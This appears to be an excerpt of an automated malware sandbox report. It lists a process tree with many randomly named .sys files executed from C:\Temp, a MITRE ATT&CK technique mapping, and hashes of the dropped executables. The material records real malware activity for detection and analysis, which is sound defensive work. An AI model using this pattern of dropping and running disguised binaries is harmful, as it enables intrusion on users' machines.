      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6256,i,17303273569874656354,18195652226695131709,524288 --field-trial-handle=2504,i,10514505502521265234,13560118560968680950,262144 --variations-seed-version --mojo-platform-channel-handle=6384 /prefetch:14
      4⤵
      PID:6076
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5864,i,1072446864077781607,17637668508119611305,524288 --field-trial-handle=2504,i,10514505502521265234,13560118560968680950,262144 --variations-seed-version --mojo-platform-channel-handle=5588 /prefetch:14
      4⤵
      PID:4296
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6372,i,11606591684126461881,13279830624285213531,524288 --field-trial-handle=2504,i,10514505502521265234,13560118560968680950,262144 --variations-seed-version --mojo-platform-channel-handle=5604 /prefetch:14
      4⤵
      PID:2924
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5868,i,13915991815657388107,5933397269071856693,262144 --field-trial-handle=2504,i,10514505502521265234,13560118560968680950,262144 --variations-seed-version --mojo-platform-channel-handle=6420 /prefetch:10
      4⤵
      PID:3892
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6584,i,13310427182141254135,12563711314776902128,524288 --field-trial-handle=2504,i,10514505502521265234,13560118560968680950,262144 --variations-seed-version --mojo-platform-channel-handle=6396 /prefetch:14
      4⤵
      PID:672
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6080,i,8280486575263326373,16007825410178275619,524288 --field-trial-handle=2504,i,10514505502521265234,13560118560968680950,262144 --variations-seed-version --mojo-platform-channel-handle=3680 /prefetch:14
      4⤵
      PID:3788

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3316

C:\Temp\sqlfdavsnkicaysq.sys
C:\Temp\sqlfdavsnkicaysq.sys
1⤵
- Executes dropped EXE
PID:2572

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:5892

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5564

C:\Temp\vsmkicausq.sys
C:\Temp\vsmkicausq.sys
1⤵
- Executes dropped EXE
PID:5092

C:\Temp\kecxupmhfz.sys
C:\Temp\kecxupmhfz.sys
1⤵
- Executes dropped EXE
PID:3392

C:\Temp\zwrpjhbzwu.sys
C:\Temp\zwrpjhbzwu.sys
1⤵
- Executes dropped EXE
PID:2092

C:\Temp\jhbztrmjec.sys
C:\Temp\jhbztrmjec.sys
1⤵
- Executes dropped EXE
PID:5260

C:\Temp\wtomgebwtr.sys
C:\Temp\wtomgebwtr.sys
1⤵
- Executes dropped EXE
PID:1968

C:\Temp\dyvtrljdbv.sys
C:\Temp\dyvtrljdbv.sys
1⤵
- Executes dropped EXE
PID:3788

C:\Temp\kidayvqnlf.sys
C:\Temp\kidayvqnlf.sys
1⤵
- Executes dropped EXE
PID:4548

C:\Temp\nlicavsnlf.sys
C:\Temp\nlicavsnlf.sys
1⤵
- Executes dropped EXE
PID:5276

C:\Temp\usnkfcausp.sys
C:\Temp\usnkfcausp.sys
1⤵
- Executes dropped EXE
PID:5292

C:\Temp\usmkhcausp.sys
C:\Temp\usmkhcausp.sys
1⤵
- Executes dropped EXE
PID:2876

C:\Temp\pjhczurmke.sys
C:\Temp\pjhczurmke.sys
1⤵
PID:4636

C:\Temp\pjhecwurmj.sys
C:\Temp\pjhecwurmj.sys
1⤵
PID:3560

C:\Temp\jhbztrljeb.sys
C:\Temp\jhbztrljeb.sys
1⤵
PID:2616

C:\Temp\wtoljdbytr.sys
C:\Temp\wtoljdbytr.sys
1⤵
PID:1816

C:\Temp\wtnlfdyvqo.sys
C:\Temp\wtnlfdyvqo.sys
1⤵
PID:4900

C:\Temp\bvsqoigdyv.sys
C:\Temp\bvsqoigdyv.sys
1⤵
PID:936

C:\Temp\ayvpnlfdxv.sys
C:\Temp\ayvpnlfdxv.sys
1⤵
PID:4112

C:\Temp\ausmkfcxup.sys
C:\Temp\ausmkfcxup.sys
1⤵
PID:1060

C:\Temp\mkhczxupnh.sys
C:\Temp\mkhczxupnh.sys
1⤵
PID:4536

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

czxrpkhczu.exe

Path C:\Temp\czxrpkhczu.exe
Size 456KB
SHA256 b95bff07c16d089e5fbb2820c7a459822dee7ef4d17fdfb3971be2351933e76c
MD5 2937d8ae6e3829fc81aba84b910151df
SHA1 76292a9f28263421bff806fcd58a2e26f82ca903
SHA512 f6f48a69d75302c0eef45da32536d216791c8dfc2c96bcdc7171237608c8b8917ffc66b26dbe96bb7a0005be51410939226341df13c35a0fcc22dfa8918169c9
SSDEEP 6144:FflfAsiL4lIJjiJcbI03GBc3ucY5DCSjXAflfAsiL4lIX:FflfAsiVGjSGecvXAflfAsiD
TLSH
T144A48D14BA94F0B2DC95047804EB9B36967EB4281726CBC7F754CE9D9A113C3A9343AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_czxrpkhczu.exe

Path C:\Temp\i_czxrpkhczu.exe
Size 456KB
SHA256 5e3ad03ee9610d862c120f0b002077159a82cd623003574b929ba445c176f0d0
MD5 54999e0e90a6f64ffaa1fc4da929f4d5
SHA1 3206debd14efc936cc3b404d1e4bb41d02c0b0f6
SHA512 148ba07b257296c4fb2d8967a07ee849b930badacd202bbab33c1d1e03af1ad0b89164454fcad28688a8b63787e97b58916105f48e73a12d388c90842cf53b6c
SSDEEP 6144:uflfAsiL4lIJjiJcbI03GBc3ucY5DCSjXAflfAsiL4lIu:uflfAsiVGjSGecvXAflfAsia
TLSH
T11BA48D14BA94F0B2DC95047804EB9B36967EB4281726CBC7F754CE9D9A113C3A9343AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_qkfdysnfak.exe

Path C:\Temp\i_qkfdysnfak.exe
Size 456KB
SHA256 8f7bd6db9cc523dd0cf038d747721bfc31e1a1b2762772c592a2d18f833cb41e
MD5 6463c55b2bbd5fad119ae51ad3576122
SHA1 f9c46295be5196dc558e11b6b27f393e3621ff4c
SHA512 cf41423fdbb3b2a2d3d7e9935648bf26bb6739703753815ef8f52c64c421e9c905f85cb385b8b5ac49b45149239309fc381989374eec8fba11283e1468e7e811
SSDEEP 6144:nflfAsiL4lIJjiJcbI03GBc3ucY5DCSjXAflfAsiL4lIN:nflfAsiVGjSGecvXAflfAsip
TLSH
T126A48D14BA94F0B2DC95047804EB9B36967EB4281726CBC7F754CE9D9A113C3A9343AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_vpnkfcaupk.exe

Path C:\Temp\i_vpnkfcaupk.exe
Size 456KB
SHA256 7555cec74b31028e34e40d8adc0208d9791053b2a0d824083297932687ee5b8b
MD5 7ca3ad8c82f4bf750072e8c784eb8e5d
SHA1 1fe677b71ca8e6f2466e90435c60cc6273f39ad3
SHA512 f760be8afb56d13198fa699948f039ca6a106413e9a7171394bcacc43f2f8f04f27c45b7a9995591d1c282dd1847860832806f2fa48036ce96506b0cefc964b4
SSDEEP 6144:pflfAsiL4lIJjiJcbI03GBc3ucY5DCSjXAflfAsiL4lIT:pflfAsiVGjSGecvXAflfAsiv
TLSH
T180A48D14BA94F0B2DC95047804EB9B36967EB4281726CBC7F754CE9D9A113C3A9343AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_wqojgbywro.exe

Path C:\Temp\i_wqojgbywro.exe
Size 456KB
SHA256 8158f29cdd48e851554f8a90d1e60b131c32170b54d33ab867656dc067cfe654
MD5 aa69afa3910f0a140d269b2a9f13c005
SHA1 36747ee59bfa8fbbef7de7c4ba42a64faebc58e5
SHA512 18588c1aa4089020ad6af299ec7e1e9ba1212327db3d41480c1393464bb97f4de7a416011bd41c8662d3120ccab2f46ea4d46bcea78a782d90a488346046d8d7
SSDEEP 6144:4flfAsiL4lIJjiJcbI03GBc3ucY5DCSjXAflfAsiL4lI8:4flfAsiVGjSGecvXAflfAsiY
TLSH
T1A3A48D14BA94F0B2DC95047804EB9B36967EB4281726CBC7F754CE9D9A113C3A9343AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

i_zurpjhecwu.exe

Path C:\Temp\i_zurpjhecwu.exe
Size 456KB
SHA256 a740297c680b31b2fbe91b54455812f13f936bbba986da706a626bf19bd970e6
MD5 19b30f2513634c9cb50d1707d9ccc684
SHA1 2e88675b7874ba0deccb20c1e6f9a4fceca52dfd
SHA512 cc5864f5341a90482d6496c57392f7dea4c6ba5c48c708fe67cf482724f286e16de79a7ebad5e2f42a3ec7c3b2857ce8cfa28caaa9d2fc16726dd35f52c5e748
SSDEEP 6144:oflfAsiL4lIJjiJcbI03GBc3ucY5DCSjXAflfAsiL4lIs:oflfAsiVGjSGecvXAflfAsi4
TLSH
T129A48D14BA94F0B2DC95047804EB9B36967EB4281726CBC7F754CE9D9A113C3A9343AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jhbztrmjec.sys

Path C:\Temp\jhbztrmjec.sys
Size 293KB
SHA256 499dc3f0e7733336e7777b7c40d4932f46a98df7c2f6e41160b3658f5a8ae55b
MD5 4d12f1acc1fd6c2966b9b0247fd1ba78
SHA1 dbbc733e2a3052460a6ea63cb54e9d26e85cea67
SHA512 bcb48f0f713eeae15ec72b40592543571d7f93fe6672e3a3023a438d752ee5b3bdd8064ff2bb3bb86bbb21d3a89c20b5bc33f9ab4bbc894db5351b46b8448e19
SSDEEP 3072:8tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:8IJjiJcbI03GBc3ucY5DCSj
TLSH
T1B6545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

kecxupmhfz.sys

Path C:\Temp\kecxupmhfz.sys
Size 293KB
SHA256 843b70a4687049325eb4c048d3d75fa2f21de9c158ef8dacc2ab2a76804ac2bc
MD5 3ef41d1e9d310c618e3ad42042de616c
SHA1 0055787fe0367c857b88025a378c4ccf77e1ee9d
SHA512 e9bef816010eb6acdc9b5cb4514c5532658d8876909353002a2cb4d15f7f4b48ebfac64c1a27e05e519fd4a891cb2b0a6792bddecd6e72441ee6b60315d0120f
SSDEEP 3072:3tKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:3IJjiJcbI03GBc3ucY5DCSj
TLSH
T1A5545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

qkfdysnfak.exe

Path C:\Temp\qkfdysnfak.exe
Size 456KB
SHA256 2246b9885256b73feb9e8f5fd87210d583210e0440d71ce408910a8d62342d85
MD5 a30369aa7b42e339157231c52653b2df
SHA1 eadb6dcf4f1885b427d4ca4f779318584d408108
SHA512 62ee6234ab46c36054118fccf14642a41e31347c39d2f6f7ad504274256a1af5b016c9a7afc340068fa8ee818bf320c25d79e7c1f22973906bf646704053a23a
SSDEEP 6144:LflfAsiL4lIJjiJcbI03GBc3ucY5DCSjXAflfAsiL4lIh:LflfAsiVGjSGecvXAflfAsiV
TLSH
T16AA48D14BA94F0B2DC95047804EB9B36967EB4281726CBC7F754CE9D9A113C3A9343AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sqlfdavsnkicaysq.exe

Path C:\Temp\sqlfdavsnkicaysq.exe
Size 456KB
SHA256 bd0ad091d4c8434646564c6b181ba9942428a976ecdeeb84cd82987d4543d5bf
MD5 62609dbb3d08b86e2504a5f9e24a076c
SHA1 0696c40f006463df464a87cc00ba2183c7300389
SHA512 8dc64dc77f576aab14d5ef6c34d62e6982f31ff2ce5b6f7ab1843fd8df3b146a45af58b1ffe4a7ff8e526a7b775d1ec14ee1aa0504cc01e61aefa36c625ed0f2
SSDEEP 6144:HflfAsiL4lIJjiJcbI03GBc3ucY5DCSjXAflfAsiL4lIV:HflfAsiVGjSGecvXAflfAsiZ
TLSH
T16CA48D14BA94F0B2DC95047804EB9B36967EB4281726CBC7F754CE9D9A113C3A9343AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sqlfdavsnkicaysq.sys

Path C:\Temp\sqlfdavsnkicaysq.sys
Size 293KB
SHA256 52fbb689f04f11487984b2454355e0e7d4b1489269e0923991d7f96d5eb164a1
MD5 b37532d76a6bdde89378e91f05f27ee0
SHA1 02a0283e72e40046ddfef1bb04092cf081febdcd
SHA512 14f9eea6f28bfa23357987f7c21190d60c6157c61825e43360c15365411c24464ad6326ecbf01a487d91d7ea819608efcbbfc7e09328b145945323570723ec6b
SSDEEP 3072:jtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:jIJjiJcbI03GBc3ucY5DCSj
TLSH
T13F545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vpnkfcaupk.exe

Path C:\Temp\vpnkfcaupk.exe
Size 456KB
SHA256 ca6d35eb0c5315c992dc9a172b757d21fcaf2c361c27610c23bebaafa5362a6e
MD5 27f98b9041dbc770ec29efb0127ca9ee
SHA1 7b47207ed7e4584bf9b190c3c401bef69566a726
SHA512 a01834a4e01bddc742dbae150ca444a699f4beb6018d1420087ee818b3325f79b1ff5b20b1ae0f43d99d4823a212eb34c9bfe67594201e48319faf851c0c6c34
SSDEEP 6144:BflfAsiL4lIJjiJcbI03GBc3ucY5DCSjXAflfAsiL4lID:BflfAsiVGjSGecvXAflfAsiX
TLSH
T1CDA48D14BA94F0B2DC95047804EB9B36967EB4281726CBC7F754CE9D9A113C3A9343AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vsmkicausq.sys

Path C:\Temp\vsmkicausq.sys
Size 293KB
SHA256 946c508fc58ed31fc776d36684d08d3c2ea70472f8d4c364468b4efcea39ccb0
MD5 4d2a19e603d4b47a4b008b659683bcaf
SHA1 d0aafcf42a895a5b3eda5f5edd2c59466574c34e
SHA512 651e758a21da499cf695219707b61bc8bb01c23b4d871cbb212da470897182aa8230be4e3b98dafe961e4716f8514ea6d92e04813101263b1a366561d01d925f
SSDEEP 3072:rtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:rIJjiJcbI03GBc3ucY5DCSj
TLSH
T139545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wqojgbywro.exe

Path C:\Temp\wqojgbywro.exe
Size 456KB
SHA256 13ec5673fe96d51b3b8e5b14fcefd2ee3f68a9b35c1ff5128cc2b5f2bfca62ac
MD5 d4404b516cfb49a77f84f82c8caa4f7e
SHA1 643ce299b280504f36c5ac98f1e995ca570e05e6
SHA512 5539f9408d1ef8a3204ee76321b69e2a0f73aad5d4f914ea1de9fe13af00932caeef8613873c620f7826298287d0e162ece3a1d47b833192da0d490b65b7fb98
SSDEEP 6144:oflfAsiL4lIJjiJcbI03GBc3ucY5DCSjXAflfAsiL4lIc:oflfAsiVGjSGecvXAflfAsiY
TLSH
T19CA48D14BA94F0B2DC95047804EB9B36967EB4281726CBC7F754CE9D9A113C3A9343AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wtomgebwtr.sys

Path C:\Temp\wtomgebwtr.sys
Size 293KB
SHA256 b012cd31f24088b6237a0dc9b96f07103d0f33609e845d194f34986c512d16f0
MD5 c292455116c7ccd35abc6c962b4f35af
SHA1 994aae422c1de6eb3fdb436f27c01b05daa26552
SHA512 77210d982f011121194abfd168301252dc93032f294961762f395b16169d8bc44ed3faf90cb36ae9c3df2cdcfd821d7dfa393fca4c916d3c68f8fbebf037acbf
SSDEEP 3072:btKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:bIJjiJcbI03GBc3ucY5DCSj
TLSH
T1A1545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wtrljgbywt.exe

Path C:\Temp\wtrljgbywt.exe
Size 456KB
SHA256 dc3b412b655186d479ea5adae98ab0b2100db4daba91946e3aeb079e2b93317e
MD5 876b11b6fdb94d03e233caf46da61866
SHA1 00ae6d59d64cbde9d8d1025f1a80d9ccaedcc1f5
SHA512 4678567881c4440befdf0aa6cc1bbf110f72174bde0a72b8f0bcf8636efb3848967c0f65f988323e79f6aebedd3a182dc285f42c85753bd7021fa407a23c95b5
SSDEEP 6144:MflfAsiL4lIJjiJcbI03GBc3ucY5DCSjXAflfAsiL4lIQ:MflfAsiVGjSGecvXAflfAsik
TLSH
T1E4A48D14BA94F0B2DC95047804EB9B36967EB4281726CBC7F754CE9D9A113C3A9343AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zurpjhecwu.exe

Path C:\Temp\zurpjhecwu.exe
Size 456KB
SHA256 c30a830f5465915fb4ba4857192d9e83463f465f76a63b60dc067da937c98982
MD5 9c5c053d9c4b99bc8f320289b233a9db
SHA1 3b674bcea026ef587b607157ef8067e309cf9841
SHA512 167026a7edcd3b3aa9122934b077088e2f833ff314f842a515abe97e6c68000eb63c2ae6f6f4c174b2dc828add7007c8dc0941ef540b288c0f4008c2ea259aaf
SSDEEP 6144:gflfAsiL4lIJjiJcbI03GBc3ucY5DCSjXAflfAsiL4lIU:gflfAsiVGjSGecvXAflfAsiw
TLSH
T1BAA48D14BA94F0B2DC95047804EB9B36967EB4281726CBC7F754CE9D9A113C3A9343AF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zwrpjhbzwu.sys

Path C:\Temp\zwrpjhbzwu.sys
Size 293KB
SHA256 07f60c2d84f5eda56807fada924254163faf4befd68cbc1dcad32d0a3e1ab8f8
MD5 2aad4134722216d067f617d2835936ca
SHA1 bea8278193f11e9bf41cd60b769057b42733a854
SHA512 9bf857a2e624766d5d3ca8979b5e30f06cd9b3034276dcb1b3c5f38ddd6c28668d02f383987704dff005df68adf4cd0d195adf0d8eec83cec2d9beb4da16c01d
SSDEEP 3072:FtKOsNi6cWgOEkbaFKnjiqQnjwbufspN3GGomU3/03ucYfBLx9pypSwbYtlZ9EdV:FIJjiJcbI03GBc3ucY5DCSj
TLSH
T151545B44AAA4B0F6D9D5043C01EFAF3A967EB4281726CBC3E354CE5D99017C7A93069F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

53ff8a72-6ee4-4777-a315-1ced22f6be49.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\53ff8a72-6ee4-4777-a315-1ced22f6be49.tmp
Size 42KB
SHA256 3809dad3d6be09c2facfdf57fdcd632de87ad6014f6ca8eac1c457d54eee2959
MD5 b0d8f7c6c8eaa35ba4a8703c3b3d6568
SHA1 ab55ba51788e6edd6bc9d6f1df8c11246f971f44
SHA512 16505958c24178d417a755fd592a639d9b4ebe0866682ac8fcd3e0e28c37183e80388e2d450ec28273571b4dbb4fc2209116b0e610bcba2f8504c7743b384c82
SSDEEP 768:tFQL3Cwgw77BerK+qp5XSwQs88uBkiT24Uhfi:8L3borPEILNB1Uw
TLSH
T17D1327F598D38677E8AE4783677D2E425EFCD153B4884984B7C9580DCC822BFD70A816
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

5dd6be5a-bd8c-4520-96c8-e38ce8286951.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\5dd6be5a-bd8c-4520-96c8-e38ce8286951.tmp
Size 37KB
SHA256 4f41336889da1059d2b7c7cef97040a6fd9a88556f67b02fa435777572cb190e
MD5 aafd6132ebb2b80d3ec96a6307dbb77d
SHA1 277e31be957d6efcf1e4d920e77fa3b7c96fa436
SHA512 b6924afe2f0b2e5ca3fa1d15c6e8778fbcd8e12cc48d83a27932bb53d28d1c40e75c348163fb849197a025791d3c9da40ccbe10acf6a2504540be180dbe3f1fa
SSDEEP 768:R/UxvxjgC+W3Dvgc7fZrKrp5XSwQs88uBkiTCs5Z/P84g:kZj3+W3D7trgILNBV5ZHg
TLSH
T1DD03C039FC946873ACB39385365A275BAFF06153C4C41B9849EE7A0F028B35DA707897
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

8510475f-8d81-4f12-867d-92af78cfdeb7.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\8510475f-8d81-4f12-867d-92af78cfdeb7.tmp
Size 33KB
SHA256 3674010f6210042b44a89ecf687e80b9c0974cc745fa96547ae0f088eb38030f
MD5 298af1e218925bd4ecdd3d97e0268d32
SHA1 a2dd642221669fe78403911323e3f5649c025e93
SHA512 93099ec4f193e19546e2bf5597b1f7852ee98a6e2bd62c1740f1390ce550d104703a0fea94c626cafdae7d4dc88e3c08ca069865027f9bfb309cccd76b73e15a
SSDEEP 768:Rp3Y/fc7fZrKwp5XSwQs88uBkiT24Uhfi:Rp3YMtr5ILNB1Uw
TLSH
T18DF2B074FC649973ACA69385768637422FF07157E8C40B98D4DEA10E01873AE3B4BC2B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

9e5bb52c-b5db-4963-aa76-3c443f842962.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\9e5bb52c-b5db-4963-aa76-3c443f842962.tmp
Size 33KB
SHA256 167d027ad0ac0beba918c2b5e12a3dfcc56ad03ce64ee79fbbb67580482b8714
MD5 d52c184409c7fa97b6c84f6b98fa50c7
SHA1 0b98fd036ca10e8a2a09f66af3f0f04cb3ef9c75
SHA512 4b9879e5b45b02e1aab9bd482708e66ac0857c59113195a1c448b83c1dffc67ffe3d44d71394bfebed91c18cd45f361c19287e29724fbb10331a5bf2f0f09c18
SSDEEP 768:Hp3R/fc7fZrKwp5XSwQs88uBkiT24Uhfi:Hp3RMtr5ILNB1Uw
TLSH
T1E8F2C074BC649973ECA69385768637526FF07157E8C40B58D4DEA60E00873AE3B4BC2B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 a0b193400a27c0cdf94ac11f5fb5b0747828b5b461169cefeffb96191b9e4834
MD5 edaab58c014c1abbfa900853b2ab2696
SHA1 e35eb02c0343d109af1ddd7dbd39dee3b989aea3
SHA512 b3cca7ed39fd4708b9c01cbefd67aab972f585372e01b5fa39d4a0840a7f579725d1202ab2916cda4e7635fb16dbc74178888461c7b6a2b3ea91d273ce2909ea
TLSH
T1BBD02B75F96ECC23E85204F940D24208329775818C0441812601CC080A603850000182
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 932f01682de6215b2c3b5faeb96a07b886e28db2ff6f8242a36da556c4292464
MD5 667b54168424526a7188593696f59ace
SHA1 deeb9f5ad1bccaabad57a386f08ba0c0740b2f81
SHA512 698f5a88d262c546b9bf21ead67e8dbe00ce6bd13f196761a5910f59ff69ca7532cacdf03c070f8d3b9f5d4fb8990b358e9b60ace9e48a0848e4a9da1d92b3ed
TLSH
T1D4D02B79F95ECD23E85204F540D1420832A77581DC04418125018C080A603850001182
MD5 SHA1 SHA512 TLSH

Submit Download

56cc856a-45c0-4d16-adcb-7011170a46d0.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\56cc856a-45c0-4d16-adcb-7011170a46d0.tmp
Size 12KB
SHA256 4fe8708c735eebc794f0cf62c8f1da4f52dc0f3cc5046edc4e963e85c55b7803
MD5 e49301efd8ebed78ab55871728393e1e
SHA1 9d779bbe1be03f8ac8f67f6f892b43dce2fbded1
SHA512 66b81b27539dd7c79d1016fdf8ad704ff53e25fff5f80feb9eacd47b1c768216a1ff7e31928b8764e012676a9a2531a07ed9b7fb0a77dbdaa25440b14c9031ee
SSDEEP 192:sxRYVRCCU/f+sb4Zao5rWzoA8p9+/g6+WNCLj/YEtMKGPWIgDZNJ:sxRUfU/f+sbGao1Y/5+/2uF
TLSH
T1F042C815AE24A93B8CCBE31DBB657F53D6F95032A0941E48F6FD9A1C04E76DD220780B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

6990af35-f324-4d32-bdc3-4b5b53e5ff50.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\6990af35-f324-4d32-bdc3-4b5b53e5ff50.tmp
Size 29KB
SHA256 3efa29e68524a056185a0983b4ee6e4bcb9557a9b94c26ce74247b078e8db203
MD5 a389cb3f0e3fd32eb5a99a3e37c04f3f
SHA1 99e3319a909484bc2ed0d6247f36805c8b82c509
SHA512 095c49a06c15176a72d6724832812b4c2e04f38d53f3239701956fe9cafd4e9c00a8291ea9968255371091feab37afe850b7efb548b457f0202b5508d10eaab9
SSDEEP 768:U/pCix7pLuLbLmWg8KfrL8F1+UoAYDCx9Tuqh0VfUC9xbog/OVKUuyhpiroJUJV:U/pCinEbLmWg8KfrLu1jaNUu8p5Wf
TLSH
T173D2D97B740CCB7F4F804ADDA8197ADB6DA802CB9698CD4047FE945C02C67EA511A4DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

85def5bc-92ba-4f1b-a20d-532bbfaf28c1.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\85def5bc-92ba-4f1b-a20d-532bbfaf28c1.tmp
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

temp-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\temp-index
Size 1KB
SHA256 fb5bdf76ddd19b534cebc61a5f508036e607575cd2bd95a0254a6514b234c6d3
MD5 1ed0370a5446074be0a094ba8c76ee0a
SHA1 de098ccd74c0e4072e16d8ea1ec90be6c23347ca
SHA512 35eee9c77429c44638e585689f78fe21f8a6807bbf71ecb0193646eaeb4dc61d28e21deb9c756f2a4925c6cec618aebb4aeee9af03560affe570336644c54d71
TLSH
T19241ED828AC40044E7AE26F985ED3B7336B854BF4E731E011D64C476635776441C2B7C
MD5 SHA1 SHA512 TLSH

Submit Download

39084478-a18b-46a0-98f1-67f6e3a174d9.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\39084478-a18b-46a0-98f1-67f6e3a174d9.tmp
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
